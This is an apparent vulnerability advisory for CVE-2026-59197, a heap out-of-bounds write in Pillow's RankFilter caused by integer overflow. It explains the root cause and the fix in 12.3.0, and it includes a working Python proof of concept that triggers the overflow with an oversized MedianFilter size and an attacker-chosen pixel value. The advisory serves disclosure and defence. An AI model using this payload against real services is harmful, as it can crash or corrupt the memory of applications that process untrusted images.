high · 8.2CVE-2026-59197Jul 20, 2026

CVE-2026-59197: Pillow Heap Out-of-Bounds Write via Integer Overflow in RankFilter

Rohit Hatagale
AI Security Researcher, SecureLayer7

Passing a very large filter size to Pillow's MedianFilter, MinFilter, or MaxFilter triggers a native heap buffer overflow in C code, which can corrupt process memory and potentially be exploited by an

PackagePillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

In Pillow versions before 12.3.0, `ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)` before validating the filter size. With `size = 4294967295` (0xFFFFFFFF), the expansion margin becomes `INT_MAX` (2147483647).

`ImagingExpand()` in `src/libImaging/Filter.c` then computes output image dimensions using unchecked signed `int` arithmetic. The addition wraps around, producing a tiny (for example, 1x1) allocation. The border-copy loop still iterates up to `INT_MAX` times, writing past the allocation.

Mode `"I"` images produce 4-byte OOB writes where the value comes from attacker-supplied pixel data.

Proof of concept

A working proof-of-concept for CVE-2026-59197 in Pillow, with the exact payload below.

python
# Minimal crash (1-byte OOB write, mode L)
from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

# 4-byte OOB write with attacker-controlled pixel value (mode I)
from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

The root cause is a classic CWE-190 integer overflow. `ImagingExpand()` adds `2 * xmargin` to the input image width using a plain signed `int`, so passing `INT_MAX` as the margin wraps the sum to a small value. The allocator sees that small size, but the border-copy loop iterates `INT_MAX` times against it.

The checks that reject oversized filters exist in `RankFilter.c`, but they are unreachable in the vulnerable code path because `image.expand()` is called first in Python, before `rankfilter()` ever runs. The fix moves size validation to `RankFilter.__init__()` (PR #9695) so it fires at construction time, and hardens `ImagingExpand()` with an explicit overflow guard: `if (xmargin > (INT_MAX - imIn->xsize) / 2)` before the allocation.

The fix

Upgrade Pillow to 12.3.0 or later. The fix is in commit `cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1` (PR #9695). It validates the filter size in `RankFilter.__init__()` before `expand()` is ever called, and adds an integer-overflow guard to `ImagingExpand()` in `Filter.c`.

If you cannot upgrade immediately, reject untrusted filter-size inputs at the application layer before passing them to any `RankFilter`, `MedianFilter`, `MinFilter`, or `MaxFilter` constructor.

Reported by Seratov.

References: [1][2][3][4][5][6]

Related research